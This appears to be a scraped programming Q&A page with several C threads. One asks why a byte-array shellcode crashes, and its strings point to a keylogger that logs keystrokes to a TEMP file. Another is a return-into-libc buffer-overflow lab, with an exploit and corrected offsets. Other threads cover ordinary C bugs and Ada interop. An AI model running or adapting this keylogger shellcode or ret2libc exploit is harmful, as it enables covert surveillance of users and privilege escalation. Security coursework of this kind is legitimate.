If I execute the following code, it´s prin this stack dump error message:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
after it prints
Shellcode length: 601
Can you say me, what I should change, to get it working?
I have compiled it with Sublime Text and cygwin on Windows 10 64bit.
This is the code:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
This: (*(void(*)(void))&sc)();
You're taking a pointer to the first element of a const char[], casting it to a function pointer and attempting to execute that function.
I can't honestly imagine that ever succeeding.... the only way I can think of to 'get it working', since I have no idea what your intention is, is to not cast const char pointer and attempt to execute it as a function.
If you just want a pointer to a function, this is easy:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}
Related
I'm trying to build a C program that will bruteforce a hash given in argument. Here is the code:
#include <unistd.h>
#include <stdio.h>
#include <crypt.h>
#include <string.h>
const char setting[] = "$6$QSX8hjVa$";
const char values[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int main(int argc, char *argv[])
{
char *hashToCrack = crypt(argv[1], setting);
printf("%s\n", hashToCrack);
for (int i = 0; i < strlen(values); i++)
{
printf("trying %c ...\n", values[i]);
char *try = crypt(&values[i], setting);
if (strcmp(hashToCrack, try) == 0)
{
printf("calc: %s\n", try);
printf("init: %s\n", hashToCrack);
printf("Found!\n");
}
}
return 0;
}
For convenience, I just give in argument a string that will be the one to crack. It is encrypted at the beginning of the main function (stored in hashToCrack). For now, I just work with one char. I compile the program this way: gcc main.c -o main -lcrypt -Wall.
The problem - When I launch this program, I have "Found!" in every iteration in the for loop. It seems that hashToCrack and try are the same. However, I never overwrite hashToCrack, so it should never change.
There is probably something I don't understand with pointers, but I can't find it.
Any idea ? :D
The crypt function returns a pointer to a static data buffer. So when you call it again, the string pointed to by hashToCrack changes.
You need to copy the results of the first call to crypt into a separate buffer.
char *hashToCrack = strdup(crypt(argv[1], setting));
Don't forget to call free on this buffer when you're done with it.
I am trying to access a string declared in a C program from an Ada subprogram, but I get a segmentation fault. Would anyone be able to help me fix this?
Here's an example of what fails, it seems that the segfault comes from the call to Interfaces.C.Strings.Value in ada_decs.adb, but I'm not sure why, or how I can make it work.
The backtrace from gdb shows:
#0 0x00000000004167ea in system.secondary_stack.ss_mark ()
#1 0x00000000004037e6 in ada_print_it (s=0x427244 "Hello") at (...)/ada_decs.adb:2
#2 0x000000000040327c in main (argc=1, argv=0x7fffffffe568) at (...)/main.c:5
(with (...) signifying the full file path).
ada_decs.ads:
with Interfaces.C.Strings;
with Ada.Text_IO;
package Ada_Decs is
procedure Print_It (s : Interfaces.C.Strings.chars_ptr) with
Export => True,
Convention => C,
External_Name => "ada_print_it";
end Ada_Decs;
ada_decs.adb:
package body Ada_Decs is
procedure Print_It (s : Interfaces.C.Strings.chars_ptr) is
str : String := Interfaces.C.Strings.Value(s);
begin
Ada.Text_IO.Put_Line(str);
end Print_It;
end Ada_Decs;
main.c:
#include <stdio.h>
extern void ada_print_it (const char *s);
int main(int argc, const char *argv[]) {
const char *hello = "Hello";
ada_print_it(hello);
}
For a main program written in C, you need to allow the Ada RTS to initialise itself before you can use any of its functionality. And shut itself down on exit.
The adainit() and adafinal() calls will do this.
extern void adainit (void);
extern void adafinal (void);
int main(int argc, const char *argv[]) {
adainit();
const char *hello = "Hello";
ada_print_it(hello);
adafinal();
}
For a main program written in Ada. this is taken care of automatically by the binder, Gnatbind.
You may also need to add linker arguments to let the linker find these RTS functions : see the Gnat documents (chapter 3.11, Mixed Language interfacing) for more details. There's a worked example at the bottom of this page.
Both links for gcc9.3; other gcc versions may differ a little so check the correct documentation.
This is a two part question:
a)I am working with a Return-into-libc attack and not getting a root shell for some reason. I am supposed to take a vulnerable program: retlib.c.
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
I am using my exploit: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}
I found the addresses of system and exit using gdb:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb)
I found the /bin/sh address using the myshell.c program:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Than using the commands:
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ ./myshell
bffffe86
I feel like I have done everything right, but I keep getting a "Segmentation fault (core dumped)". I am using no -fstack-protector, chmod 4755 and ASLR turned off. Any thoughts on what is wrong?
b) I am also working with retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
This seems to me to be similar to part a, but "In this example, the vulnerable program retlib-env.c will reference MYSHELL environment." I don't know what I need to add to my exploit to make it work. Any hints or nudges in the right direction would be really helpful. I have MYSHELL, but i'm not really sure how I need to reference it to exploit the retlib-env.c. Shouldn't it be pretty similar to part a?
Probably the addresses of functions system(), exit() etc change at every program invocation. You cannot rely on loadng the pogram, degbugging for these addresses, closing the debug session and running the program again as the perogram may have been loaded at a completely different starting address the second time.
$gdb -q retlib
You need to find system and exit address of retlib not exploit. Exploit only prepare a exploit file. Retlib reads this file till buffer overflow. As far as I know the system address segment should start 12 after the buffer that means it will be buf[24].
The length of the program's name will influence the address of the environment variables in the stack. To get the correct address of string /bin/sh, you should keep the length of the program to search /bin/sh (i.e. myshell) equals the length of your final attack program (i.e. retlib).
Besides, you need to find out the return frame address which is supposed to be 4 plus the distance between ebp and &buffer in bof, which is supposed to be 20+4=24 rather than 16 in your code. You can verifiy it by gdb on the program compiled with flag -g.
A follow up question to:
Print 1 to 1000 with out using loop
A question that was asked today and is a duplicate of an older question showing a code snippet of a recursion of the main function :
This code means to count to 10 without using any loops, it does it by recursing on the main functions pointer and when it reaches the needed amount of prints it changes the pointer to the exit function.
#include <stdio.h>
#include <stdlib.h>
void main(int j) {
printf("%d\n", j);
(&main + (&exit - &main)*(j/10))(j+1);
}
Note i changed the number of times the value will be printed,
I do understand that the subtraction of function pointers is UB but still I compiles and ran this function with:
./mainexit 547
And for some reason the values that are beeing printed are from 2 to 10.
when i start the program with ./mainexit 1 it will print until j reaches 10 and then the reference will be for exit but when I run the program with 547 from the beginning the first function in the recursion that is being called located at address 57*&exit so it should do really weird stuff but instead it prints normally. any ideas on how the function returns to the main?
You can do this nonsense like this:
/* Count from 1 to 10 using recursive main call */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int r;
if(argc>=11)
return EXIT_SUCCESS;
printf("argc=%d\n", argc);
r = main(argc+1, NULL);
return r;
}
And you can call
$./countmain
and get:
argc=1
argc=2
argc=3
argc=4
argc=5
argc=6
argc=7
argc=8
argc=9
argc=10
or call
$./countmain a b c d 4 4
and get:
argc=7
argc=8
argc=9
argc=10
But of course it would be much better if you just do something like:
/* Count from 1 to 10 using recursive function call */
#include <stdio.h>
#include <stdlib.h>
void reccount(int to);
int main(int argc, char *argv[])
{
int to;
if(argc==2)
to=atoi(argv[1]);
else
to=10;
reccount(to);
return EXIT_SUCCESS;
}
void reccount(int to)
{
if(to==0)
return;
reccount(to-1);
printf("to=%d\n", to);
return;
}
Now you type:
$ ./reccount.x
to=1
to=2
to=3
to=4
to=5
to=6
to=7
to=8
to=9
to=10
Or you can set the limit as:
$ ./reccount.x 2
to=1
to=2
Now, back to your question:
warning: ‘main’ takes only zero or two arguments [-Wmain]
warning: return type of ‘main’ is not ‘int’ [-Wmain]
If exit had a prototype like main, i.e., int exit(int x, char **y) you could do the trick by adding a conditional like this in the begin of the code:
if(argc==2 && argv!=NULL)
j=atoi(argv[1]);
else
j=argc;
and then calling them as:
(&main + (&exit - &main)*(j/10))(j+1, NULL);
Example:
#include <stdio.h>
#include <stdlib.h>
int myexit(int j, char **p)
{
exit(j);
}
int main(int argc, char **argv)
{
int j;
if(argc==2 && argv!=NULL)
j=atoi(argv[1]);
else
j=argc;
printf("%d\n", j);
(&main + (&myexit - &main)*(j/10))(j+1, NULL);
}
But as it stands, you just cant properly read argv from command line.
The parameter j is not used in the way you think.
When you launch the command, the first argument of main is the number of arg of the command line.
So launching with ./mainexit 547 just pass 2 as the first value of the first call to main. And the loop is built so that it calls exit when j reaches 10.
So the value of your arg is not useful, try ./mainexit hello it will give you the same result!
I want to preface this by saying that I've done very little programming in C, so I'd prefer to know why a given solution works rather than just what it is.
I'm trying to write a function which will take a pathname, and return a pathname to a different file in the same directory.
"/example/directory/with/image.png" => "/example/directory/with/thumbnail.png"
What I've tried after reading up on example uses of realpath and dirname (I'm working on Linux; if there's a cross-platform equivalent, let me know) is:
#include <limits.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char *chop_path(char *orig) {
char buf[PATH_MAX + 1];
char *res, *dname, *thumb;
res = realpath(orig, buf);
if (res) {
dname = dirname(res);
thumb = strcat(dname, "/thumbnail.png");
return thumb;
}
return 0;
}
Compiling it seems to work, but running the program with
int main(void) {
char *res = chop_path("original.png");
if (res) {
printf("Resulting pathname: %s", res);
}
return 0;
}
gives me a segfault. Any hints?
The only problem I see is the signature of your chop_path routine; it should be
char *chop_path(char *orig) {
Your version has a missing *. That makes an enormous difference actually; without the *, you're effectively telling dirname and realpath to interpret the character code of the first character in your argument string as the numerical address (i.e., a pointer to) the path. That's going to point into a location in low memory that you definitely have not allocated; trying to use it results in that "segmentation fault" error, which means, effectively, that you're trying to touch memory you're not allowed to.
The other issue turned out to be that the dirname() function is declared in libgen.h, which you weren't including. If you don't include that header, the compiler assumes dirname() returns int instead of a pointer, and on a 64-bit architecture, the 64-bit return value from the function gets chopped down to 32 bits, a bad pointer is assigned to dname, and that's going to cause your seg fault right there.
If you don't want to use dirname, realpath, unwanted string buffer and string operations, etc - you can do the following:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#define FILE_MAX 100
void chop_path(char path_name[], char new_file[]) {
int len = strlen(path_name);
int i;
for (i=len-1; i>0 ; i--) {
if (path_name[i] == '/') {
strcpy(path_name+i+1, new_file);
break;
}
}
return;
}
int main(void) {
char path[PATH_MAX + 1] = "/this/is/a/path/filename.c";
char new_file[FILE_MAX] = "newfilename.txt";
printf("old : %s \n", path);
chop_path(path, new_file);
printf("new : %s \n", path);
return 0;
}
Output:
$ gcc path.c
$ ./a.out
old : /this/is/a/path/filename.c
new : /this/is/a/path/newfilename.txt
$